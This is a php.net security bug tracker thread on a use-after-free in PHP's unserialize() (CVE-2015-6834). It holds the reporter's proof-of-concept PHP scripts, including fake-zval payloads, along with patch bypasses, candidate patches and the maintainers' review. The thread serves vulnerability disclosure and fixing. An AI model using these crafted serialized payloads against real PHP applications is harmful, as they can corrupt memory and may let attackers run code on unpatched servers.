php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70172 Use After Free Vulnerability in unserialize()
Submitted: 2015-07-31 01:38 UTC Modified: 2016-10-23 19:47 UTC
From: taoguangchen at icloud dot com Assigned: stas
Status: Closed Package: *General Issues
PHP Version: 5.4.43 OS: *
Private report: No CVE-ID: 2015-6834
 [2015-07-31 01:38 UTC] taoguangchen at icloud dot com
Description:
------------
I has reported some similar bugs in BUG#70166, BUG#70168 and BUG#70169

```
	if (ce->unserialize == NULL) {
		zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name));
		object_init_ex(rval, ce);
	} else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash) != SUCCESS) {
		return 0;
	}

	(*p) += datalen;

	return finish_nested_data(UNSERIALIZE_PASSTHRU);
}

A specially defined Serializable lead to various problems.

PoC:

```
class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        $this->data = unserialize($data);
        $this->data = 1;
    }
}

$inner = 'a:0:{}';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';

$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```

We can create ZVAL and free it via Serializable::unserialize. However the unserialize() will still allow to use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely.


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-07-31 12:59 UTC] taoguangchen at icloud dot com
the patch for 5.4 series ( maybe work on 5.5 and 5.6 series ), and this patch also fixes BUG#70166, BUG#70168 and BUG#70169.

diff --git a/php-5.4.43/var_unserializer.c b/php-5.4.43-fixed/var_unserializer.c
index 8c4e629..99b61cb 100644
--- a/php-5.4.43/var_unserializer.c
+++ b/php-5.4.43-fixed/var_unserializer.c
@@ -363,8 +363,10 @@ static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long
 
 static inline int finish_nested_data(UNSERIALIZE_PARAMETER)
 {
-	if (*((*p)++) == '}')
+	if (*((*p)++) == '}') {
+		var_push_dtor(var_hash, rval);
 		return 1;
+	}
 
 #if SOMETHING_NEW_MIGHT_LEAD_TO_CRASH_ENABLE_IF_YOU_ARE_BRAVE
 	zval_ptr_dtor(rval);
@@ -880,6 +882,7 @@ yy41:
 
 	INIT_PZVAL(*rval);
 	ZVAL_STRINGL(*rval, str, len, 0);
+	var_push_dtor(var_hash, rval);
 	return 1;
 }
 yy46:
@@ -927,6 +930,7 @@ yy48:
 
 	INIT_PZVAL(*rval);
 	ZVAL_STRINGL(*rval, str, len, 1);
+	var_push_dtor(var_hash, rval);
 	return 1;
 }
 yy53:
@@ -1023,6 +1027,7 @@ use_double:
 	*p = YYCURSOR;
 	INIT_PZVAL(*rval);
 	ZVAL_DOUBLE(*rval, zend_strtod((const char *)start + 2, NULL));
+	var_push_dtor(var_hash, rval);
 	return 1;
 }
 yy65:
@@ -1094,6 +1099,8 @@ yy73:
 	} else if (!strncmp(start + 2, "-INF", 4)) {
 		ZVAL_DOUBLE(*rval, -php_get_inf());
 	}
+	
+	var_push_dtor(var_hash, rval);
 
 	return 1;
 }
@@ -1147,6 +1154,7 @@ yy79:
 	*p = YYCURSOR;
 	INIT_PZVAL(*rval);
 	ZVAL_LONG(*rval, parse_iv(start + 2));
+	var_push_dtor(var_hash, rval);
 	return 1;
 }
 yy83:
@@ -1160,6 +1168,7 @@ yy83:
 	*p = YYCURSOR;
 	INIT_PZVAL(*rval);
 	ZVAL_BOOL(*rval, parse_iv(start + 2));
+	var_push_dtor(var_hash, rval);
 	return 1;
 }
 yy87:
@@ -1168,6 +1177,7 @@ yy87:
 	*p = YYCURSOR;
 	INIT_PZVAL(*rval);
 	ZVAL_NULL(*rval);
+	var_push_dtor(var_hash, rval);
 	return 1;
 }
 yy89:
 [2015-08-02 03:50 UTC] stas@php.net
This looks like it requires specially crafted code. As such, it's not a security issue.
 [2015-08-02 03:51 UTC] stas@php.net
-Type: Security +Type: Bug
 [2015-08-02 04:15 UTC] taoguangchen at icloud dot com
Some web programs use Serializable and unserialize(), and attacker can free ZVAL easily via DateInterval, like this:

```
class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        $this->data = unserialize($data);
    }
}

$inner = 'O:12:"DateInterval":1:{s:1:"y";R:2;}';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';

$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```
 [2015-08-02 06:31 UTC] stas@php.net
The patch should be against var_unserializer.re, var_unserializer.c is a generated file. Also, I'm not sure pushing every single value is a good thing, this would slow down unserialization a lot.
 [2015-08-04 23:23 UTC] taoguangchen at icloud dot com
-Type: Bug +Type: Security
 [2015-08-04 23:23 UTC] taoguangchen at icloud dot com
I noticed that the latest commits in github, disable convert_to_* on DateInterval::__wakeup(), maybe this patch can fix part of this bug and all other bugs, but this bug still can be trigger easily, like this:

```
class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        $this->data = unserialize($data);
    }
}

$inner = 'a:1:{i:1;a:0:{';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```
 [2015-08-04 23:40 UTC] stas@php.net
Yes, I know. I'll look for a solution for this issue.
 [2015-08-06 12:12 UTC] taoguangchen at icloud dot com
free memory via the process_nested_data() with a invalid serialized string

```
static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops)
{
    while (elements-- > 0) {
        zval *key, *data, **old_data;

        ...

        ALLOC_INIT_ZVAL(data);

        if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {
            zval_dtor(key);
            FREE_ZVAL(key);
            zval_dtor(data);
            FREE_ZVAL(data);  <===  free memory
            return 0;
        }
```

PoC:

```
class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        $this->data = unserialize($data);
    }
}

$inner = 'a:2:{i:0;i:1;i:1;i:2';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}';

$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```

so my previous patches can also be bypassed.
 [2015-08-06 15:06 UTC] taoguangchen at icloud dot com
update new patch for this bug, it will ban references to serialization of Serializable interface, but doing so may result in missing some features.

diff --git a/php-5.4.43/var.c b/php-5.4.43-fixed/var.c
index 7603ff2..837e65f 100644
--- a/php-5.4.43/var.c
+++ b/php-5.4.43-fixed/var.c
@@ -775,6 +775,10 @@ static void php_var_serialize_intern(smart_str *buf, zval *struc, HashTable *var
 					/* has custom handler */
 					unsigned char *serialized_data = NULL;
 					zend_uint serialized_length;
+					
+					if (ZEND_INTERNAL_CLASS != ce->type) {
+						BG(serialize_lock)++;
+					}
 
 					if (ce->serialize(struc, &serialized_data, &serialized_length, (zend_serialize_data *)var_hash TSRMLS_CC) == SUCCESS) {
 						smart_str_appendl(buf, "C:", 2);
@@ -790,6 +794,11 @@ static void php_var_serialize_intern(smart_str *buf, zval *struc, HashTable *var
 					} else {
 						smart_str_appendl(buf, "N;", 2);
 					}
+					
+					if (ZEND_INTERNAL_CLASS != ce->type) {
+						BG(serialize_lock)--;
+					}
+					
 					if (serialized_data) {
 						efree(serialized_data);
 					}
diff --git a/php-5.4.43/var_unserializer.c b/php-5.4.43-fixed/var_unserializer.c
index 8c4e629..7c76022 100644
--- a/php-5.4.43/var_unserializer.c
+++ b/php-5.4.43-fixed/var_unserializer.c
@@ -388,6 +388,13 @@ static inline int object_custom(UNSERIALIZE_PARAMETER, zend_class_entry *ce)
 	if (ce->unserialize == NULL) {
 		zend_error(E_WARNING, "Class %s has no unserializer", ce->name);
 		object_init_ex(*rval, ce);
+	} else if (ZEND_INTERNAL_CLASS != ce->type) {
+		BG(serialize_lock)++;
+		if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash TSRMLS_CC) != SUCCESS) {
+			BG(serialize_lock)--;
+			return 0;
+		}
+		BG(serialize_lock)--;
 	} else if (ce->unserialize(rval, ce, (const unsigned char*)*p, datalen, (zend_unserialize_data *)var_hash TSRMLS_CC) != SUCCESS) {
 		return 0;
 	}
 [2015-08-06 15:50 UTC] stas@php.net
I don't think breaking reference serialization is an option, at least for 5.x branches.
 [2015-08-08 15:15 UTC] taoguangchen at icloud dot com
update new patch for fix this bug:

diff --git a/php-5.4.43/var.c b/php-5.4.43-fixed/var.c
index 7603ff2..8248003 100644
--- a/php-5.4.43/var.c
+++ b/php-5.4.43-fixed/var.c
@@ -966,10 +966,17 @@ PHP_FUNCTION(unserialize)
 		PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
 		zval_dtor(return_value);
 		if (!EG(exception)) {
-			php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
+			if (!BG(unserialize).level) {
+				php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
+			} else {
+				zend_throw_exception_ex(NULL, 0 TSRMLS_CC, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
+			}
 		}
 		RETURN_FALSE;
 	}
+	if (BG(unserialize).level != 1) {
+		var_push_dtor(&var_hash, &return_value);
+	}
 	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
 }
 /* }}} */
 [2015-08-16 23:07 UTC] stas@php.net
Unfortunately, in 5.x core functions are not allowed to throw exceptions, so the latest patch can not work for 5.x.
 [2015-08-16 23:14 UTC] taoguangchen at icloud dot com
this patch is worked for my 5.x series.

and maybe you can use fatal error level messsage replacement throw exceptions.
 [2015-08-21 12:41 UTC] taoguangchen at icloud dot com
i update a new PoC, it use fatal error level messsage replacement throw exceptions, and fix a another UaF.

```
diff --git a/./php-5.6.12/var.c b/./php-5.6.12-fixed/var.c
index 3f2c0d7..8e9589c 100644
--- a/./php-5.6.12/var.c
+++ b/./php-5.6.12-fixed/var.c
@@ -959,14 +959,24 @@ PHP_FUNCTION(unserialize)
 
 	p = (const unsigned char*) buf;
 	PHP_VAR_UNSERIALIZE_INIT(var_hash);
+	if (BG(unserialize).level != 1 && (p[0] == 'r' || p[0] == 'R')) {
+		Z_ADDREF_PP(&return_value);
+	}
 	if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) {
 		PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
 		zval_dtor(return_value);
 		if (!EG(exception)) {
-			php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
+			if (!BG(unserialize).level) {
+				php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
+			} else {
+				php_error_docref(NULL TSRMLS_CC, E_ERROR, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
+			}
 		}
 		RETURN_FALSE;
 	}
+	if (BG(unserialize).level != 1) {
+		var_push_dtor(&var_hash, &return_value);
+	}
 	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
 }
 /* }}} */
```

when the reference count of the ZVAL to zero, ZVAL will be freed from memory

```
	if (*rval != NULL) {
		var_push_dtor_no_addref(var_hash, rval);
	}
	*rval = *rval_ref;
	
	...
	
	
	if (*rval != NULL) {
		zval_ptr_dtor(rval);
	}
	*rval = *rval_ref;
```

PoC:

```
class obj implements Serializable {
	var $data;
	function serialize() {
		return serialize($this->data);
	}
	function unserialize($data) {
		$this->data = unserialize($data);
	}
}

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'r:2;';
$exploit = 'a:2:{i:0;i:1;i:1;C:3:"obj":'.strlen($inner).':{'.$inner.'}}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
	$v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
	$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}
```
 [2015-08-27 15:24 UTC] taoguangchen at icloud dot com
update a new patch for fix all bugs in this report stream:

diff --git a/php-5.6.12/var.c b/php-5.6.12-fixed/var.c
index 3f2c0d7..c639910 100644
--- a/php-5.6.12/var.c
+++ b/php-5.6.12-fixed/var.c
@@ -967,6 +967,7 @@ PHP_FUNCTION(unserialize)
 		}
 		RETURN_FALSE;
 	}
+	var_push_dtor(&var_hash, &return_value);
 	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
 }
 /* }}} */
diff --git a/php-5.6.12/var_unserializer.c b/php-5.6.12-fixed/var_unserializer.c
index f322ef1..61fca39 100644
--- a/php-5.6.12/var_unserializer.c
+++ b/php-5.6.12-fixed/var_unserializer.c
@@ -90,7 +90,13 @@ PHPAPI void var_push_dtor(php_unserialize_data_t *var_hashx, zval **rval)
 
 PHPAPI void var_push_dtor_no_addref(php_unserialize_data_t *var_hashx, zval **rval)
 {
-	var_entries *var_hash = (*var_hashx)->last_dtor;
+	var_entries *var_hash;
+	
+	if (!var_hashx || !*var_hashx) {
+		return;
+	}
+	
+	var_hash = (*var_hashx)->last_dtor;
 #if VAR_ENTRIES_DBG
 	fprintf(stderr, "var_push_dtor_no_addref(%ld): %d (%d)\n", var_hash?var_hash->used_slots:-1L, Z_TYPE_PP(rval), Z_REFCOUNT_PP(rval));
 #endif
@@ -301,23 +307,20 @@ static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long
 		ALLOC_INIT_ZVAL(key);
 
 		if (!php_var_unserialize(&key, p, max, NULL TSRMLS_CC)) {
-			zval_dtor(key);
-			FREE_ZVAL(key);
+			var_push_dtor_no_addref(var_hash, &key);
 			return 0;
 		}
 
 		if (Z_TYPE_P(key) != IS_LONG && Z_TYPE_P(key) != IS_STRING) {
-			zval_dtor(key);
-			FREE_ZVAL(key);
+			var_push_dtor_no_addref(var_hash, &key);
 			return 0;
 		}
 
 		ALLOC_INIT_ZVAL(data);
 
 		if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {
-			zval_dtor(key);
-			FREE_ZVAL(key);
-			zval_ptr_dtor(&data);
+			var_push_dtor_no_addref(var_hash, &key);
+			var_push_dtor_no_addref(var_hash, &data);
 			return 0;
 		}
 
@@ -347,8 +350,7 @@ static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long
 		}
 		var_push_dtor(var_hash, &data);
 		
-		zval_dtor(key);
-		FREE_ZVAL(key);
+		var_push_dtor_no_addref(var_hash, &key);
 
 		if (elements && *(*p-1) != ';' && *(*p-1) != '}') {
 			(*p)--;
@@ -1200,7 +1202,7 @@ yy91:
 	if (*rval == *rval_ref) return 0;
 
 	if (*rval != NULL) {
-		var_push_dtor_no_addref(var_hash, rval);
+		var_push_dtor(var_hash, rval);
 	}
 	*rval = *rval_ref;
 	Z_ADDREF_PP(rval);
@@ -1242,7 +1244,7 @@ yy97:
 	}
 
 	if (*rval != NULL) {
-		zval_ptr_dtor(rval);
+		var_push_dtor(var_hash, rval);
 	}
 	*rval = *rval_ref;
 	Z_ADDREF_PP(rval);
diff --git a/php-5.6.12/var_unserializer.re b/php-5.6.12-fixed/var_unserializer.re
index 295acc5..894b5ec 100644
--- a/php-5.6.12/var_unserializer.re
+++ b/php-5.6.12-fixed/var_unserializer.re
@@ -89,7 +89,13 @@ PHPAPI void var_push_dtor(php_unserialize_data_t *var_hashx, zval **rval)
 
 PHPAPI void var_push_dtor_no_addref(php_unserialize_data_t *var_hashx, zval **rval)
 {
-	var_entries *var_hash = (*var_hashx)->last_dtor;
+	var_entries *var_hash;
+
+	if (!var_hashx || !*var_hashx) {
+		return;
+	}
+
+	var_hash = (*var_hashx)->last_dtor;
 #if VAR_ENTRIES_DBG
 	fprintf(stderr, "var_push_dtor_no_addref(%ld): %d (%d)\n", var_hash?var_hash->used_slots:-1L, Z_TYPE_PP(rval), Z_REFCOUNT_PP(rval));
 #endif
@@ -307,23 +313,20 @@ static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long
 		ALLOC_INIT_ZVAL(key);
 
 		if (!php_var_unserialize(&key, p, max, NULL TSRMLS_CC)) {
-			zval_dtor(key);
-			FREE_ZVAL(key);
+			var_push_dtor_no_addref(var_hash, &key);
 			return 0;
 		}
 
 		if (Z_TYPE_P(key) != IS_LONG && Z_TYPE_P(key) != IS_STRING) {
-			zval_dtor(key);
-			FREE_ZVAL(key);
+			var_push_dtor_no_addref(var_hash, &key);
 			return 0;
 		}
 
 		ALLOC_INIT_ZVAL(data);
 
 		if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {
-			zval_dtor(key);
-			FREE_ZVAL(key);
-			zval_ptr_dtor(&data);
+			var_push_dtor_no_addref(var_hash, &key);
+			var_push_dtor_no_addref(var_hash, &data);
 			return 0;
 		}
 
@@ -353,8 +356,7 @@ static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long
 		}
 		var_push_dtor(var_hash, &data);
 		
-		zval_dtor(key);
-		FREE_ZVAL(key);
+		var_push_dtor_no_addref(var_hash, &key);
 
 		if (elements && *(*p-1) != ';' && *(*p-1) != '}') {
 			(*p)--;
@@ -495,7 +497,7 @@ PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
 	}
 
 	if (*rval != NULL) {
-		zval_ptr_dtor(rval);
+		var_push_dtor(var_hash, rval);
 	}
 	*rval = *rval_ref;
 	Z_ADDREF_PP(rval);
@@ -518,7 +520,7 @@ PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
 	if (*rval == *rval_ref) return 0;
 
 	if (*rval != NULL) {
-		var_push_dtor_no_addref(var_hash, rval);
+		var_push_dtor(var_hash, rval);
 	}
 	*rval = *rval_ref;
 	Z_ADDREF_PP(rval);
 [2015-09-01 04:36 UTC] stas@php.net
Unfortunately, this patch seems to cause memory leaks on unit tests, e.g.:

/Users/smalyshev/php-5.4/ext/standard/tests/serialize/001.phpt
 [2015-09-01 05:48 UTC] taoguangchen at icloud dot com
oh, i think it's maybe the following code causes the problem:

	var_push_dtor(&var_hash, &return_value);

and use the following code:


	PHP_VAR_UNSERIALIZE_INIT(var_hash);
+	if (BG(unserialize).level != 1 && (p[0] == 'r' || p[0] == 'R')) {
+		Z_ADDREF_P(return_value);
+	}
	if (!php_var_unserialize(&return_value, &p, p + buf_len, &var_hash TSRMLS_CC)) {
		PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
		zval_dtor(return_value);
		if (!EG(exception)) {
			php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - buf), buf_len);
		}
		RETURN_FALSE;
	}
+	if (BG(unserialize).level != 1) {
+		var_push_dtor(&var_hash, &return_value);
+	}
	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);

and the following code does not need to be changed:

 	if (*rval == *rval_ref) return 0;
 
 	if (*rval != NULL) {
-		var_push_dtor_no_addref(var_hash, rval);
+		var_push_dtor(var_hash, rval);
 	}
 	*rval = *rval_ref;
 	Z_ADDREF_PP(rval);
	...
 	}
 
 	if (*rval != NULL) {
-		zval_ptr_dtor(rval);
+		var_push_dtor(var_hash, rval);
 	}
 	*rval = *rval_ref;
 	Z_ADDREF_PP(rval);
 [2015-09-01 06:07 UTC] stas@php.net
Looks like there's a deeper problem here with unserialize() returning result of 'r' or 'R'. This is because zend_vm_execute.h passes it only zval *, but 'r' and 'R' try to replace the pointer. The problem is that while the pointer is replaced locally in PHP_FUNCTION(unserialize), it is not replaced inside actual temp variable in zend_vm_execute.h, which retains pointer to old value. Your patch probably makes this variable not destroyed by doing Z_ADDREF_P, but then it only will lead to a memory leak, since we still assign the result on unserialize() to wrong zval *. It need more comprehensive solution as it seems. What does your PoC script return with you patch? Do you see any memory leaks in debug mode?
 [2015-09-01 06:27 UTC] stas@php.net
Please check out this one: https://gist.github.com/smalyshev/7b6ce8abb8122afcc936
Seems to work for me.
 [2015-09-01 07:19 UTC] taoguangchen at icloud dot com
the patch looks is ok, i will test it later.
 [2015-09-01 09:55 UTC] taoguangchen at icloud dot com
oh, the patch can be bypass, like this:
```
class obj implements Serializable {
	var $data;
	function serialize() {
		return serialize($this->data);
	}
	function unserialize($data) {
		$this->data = unserialize($data);
	}
}

class obj2 {
	var $ryat;
	function __wakeup() {
		$this->ryat = 1;
	}
}

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'r:2;';
$exploit = 'a:2:{i:0;O:4:"obj2":1:{s:4:"ryat";C:3:"obj":'.strlen($inner).':{'.$inner.'}}i:1;a:1:{i:0;a:1:{i:0;R:4;}}}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
	$v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
	$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}
```
 [2015-09-01 10:21 UTC] taoguangchen at icloud dot com
```
	if (*rval != NULL) {
		var_push_dtor_no_addref(var_hash, rval);
	}
```

so remove the following code can fix this issue

		var_push_dtor_no_addref(&var_hash, &old_rval);
 [2015-09-01 17:02 UTC] stas@php.net
Not sure what you mean here, there's no such code as:

var_push_dtor_no_addref(&var_hash, &old_rval);

anywhere I could see.
 [2015-09-01 17:03 UTC] stas@php.net
Disregard that, it's in var.c and I was looking in var_unserialize.re
 [2015-09-01 17:07 UTC] stas@php.net
Unfortunately, removing this produces a memory leak in previous POC code:

v010+ [Tue Sep  1 10:05:17 2015]  Script:  '/Users/smalyshev/php-5.4/ext/standard/tests/serialize/bug70172.php'
011+ /Users/smalyshev/php-5.4/Zend/zend_vm_execute.h(636) :  Freeing 0x104292600 (32 bytes), script=/Users/smalyshev/php-5.4/ext/standard/tests/serialize/bug70172.php

So it's not a good fix.
 [2015-09-01 18:55 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e8429400d40e3c3aa4b22ba701991d698a2f3b2f
Log: Fix bug #70172 - Use After Free Vulnerability in unserialize()
 [2015-09-01 18:55 UTC] stas@php.net
-Status: Open +Status: Closed
 [2015-09-01 19:04 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e8429400d40e3c3aa4b22ba701991d698a2f3b2f
Log: Fix bug #70172 - Use After Free Vulnerability in unserialize()
 [2015-09-01 19:07 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e8429400d40e3c3aa4b22ba701991d698a2f3b2f
Log: Fix bug #70172 - Use After Free Vulnerability in unserialize()
 [2015-09-02 08:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e8429400d40e3c3aa4b22ba701991d698a2f3b2f
Log: Fix bug #70172 - Use After Free Vulnerability in unserialize()
 [2015-09-03 18:10 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e8429400d40e3c3aa4b22ba701991d698a2f3b2f
Log: Fix bug #70172 - Use After Free Vulnerability in unserialize()
 [2015-09-04 08:50 UTC] taoguangchen at icloud dot com
this solution can fixes the issue and memory leaks. 

```
		zval_dtor(old_rval);
		*old_rval = *return_value;
		zval_copy_ctor(old_rval);
		var_push_dtor_no_addref(&var_hash, &return_value);
-		var_push_dtor_no_addref(&var_hash, &old_rval);
+		Z_SET_REFCOUNT_P(old_rval, 2);
```
 [2015-09-09 08:09 UTC] rakib dot ri390 at gmail dot com
ok.iam subscribing.
i want to subscrib for free.
 [2015-09-09 10:08 UTC] kaplan@php.net
-Assigned To: +Assigned To: stas -CVE-ID: +CVE-ID: 2015-6834
 [2015-09-09 10:08 UTC] kaplan@php.net
Shared CVE between bugs #70172, #70365 and #70366.
 [2016-10-23 19:47 UTC] nikic@php.net
I'd like to fix the remaining issue in the XFAIL test. What do you think about https://github.com/php/php-src/pull/2174 (against 7.0)?

We clearly can't support real references (as opposed to object references) for the unserialize() return value, because unserialize() does not return by reference.

The proposed patch just ensures that the unserialize() return value has a stable address using var_tmp_var(). We do this pretty much everywhere we call the internal unserialize API, but for some reason this isn't done in unserialize() itself. Am I missing something here?
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Sun Apr 23 17:01:36 2017 UTC